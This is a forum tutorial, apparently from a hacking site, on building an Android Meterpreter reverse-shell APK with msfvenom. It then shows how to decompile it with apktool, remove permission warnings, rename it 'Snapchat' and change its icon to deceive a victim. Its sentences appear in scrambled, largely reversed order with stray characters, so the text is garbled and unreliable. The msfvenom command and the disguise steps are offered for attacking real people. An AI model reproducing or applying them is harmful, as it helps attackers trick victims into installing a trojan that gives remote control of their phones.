

I here is a zip used for signing Original thread direct link or if that doesn't work this .nz link. You thought we were done? Almost, just one more step. This will create an apk in the newly created 'dist' folder (found in apktool b /pathtoyourfolder/folder) Go back to the apktool terminal and enter the following command: Name these png files all 'icon.png' and place them in the appropriate folder. The goal is to get 3 png files of the following sizes: I used the website's Android Asset Studio and You will need now to find an appropriate icon set for your app.

Save the file and go back up to the /res/ folder.

But choose a name which you seem fit for your situation. Now you will find 2 files, 1 named strings.xml, once again, open this xml file with your preffered text editor.Ĭhange '''MainActivity'' to you prefferd app name, I chose the name '''Snapchat''. Here you will find 'values' folder, go into it. Since nullbyte messes with symbols here is a pastebin with what to do I am using Notepad++.įirst off, lets delete a few lines we will probably not need and will give the user an extra warning. First off, open the AndroidManifest.xml with your preffered text editor. Most likly:įor this tutorial we are only going to modify the AndroidManifest.xml file and the 'res' folder. In this new folder you will find some files. Now run the commandĪpktool d /pathtoyourapk/app.apk /pathtoyourfolder/folderĪpktool will now decompile app.apk to /pathtoyourfolder/folder. If you get the help menu, everything is installed correctly. Check out their website for your system.ĭo note that Apktool is installed by default in the reverse engineering toolkit from Kali linux! Step 3: Decompiling Your Apkįirst check if you can run apktool properly by running the command: Since this is different for everybody I won't cover installing this tool.

You will need to install Apktool on your system, I used windows for this, but it should be done the same way on linux/mac os. This will create app.apk in your current folder. Msfvenom -p android/meterpreter/reverse tcp LHOST=(your ip) LPORT=(your port) -o app.apk So, lets start off by making our meterpreter apk. Something which can be very relevant when you are Social Engineering someone. In this short tutorial I will show you how to change the icon, permissions, and name of the app, to make it more convincing for your victim. You may have made a malicious apk (android package) before on kali, it is done the same way you make a malicious exe. This also is my first tutorial so don't hesitate to give me feedback :) Let me start off stating english is not my first language and they will be some grammar mistakes.
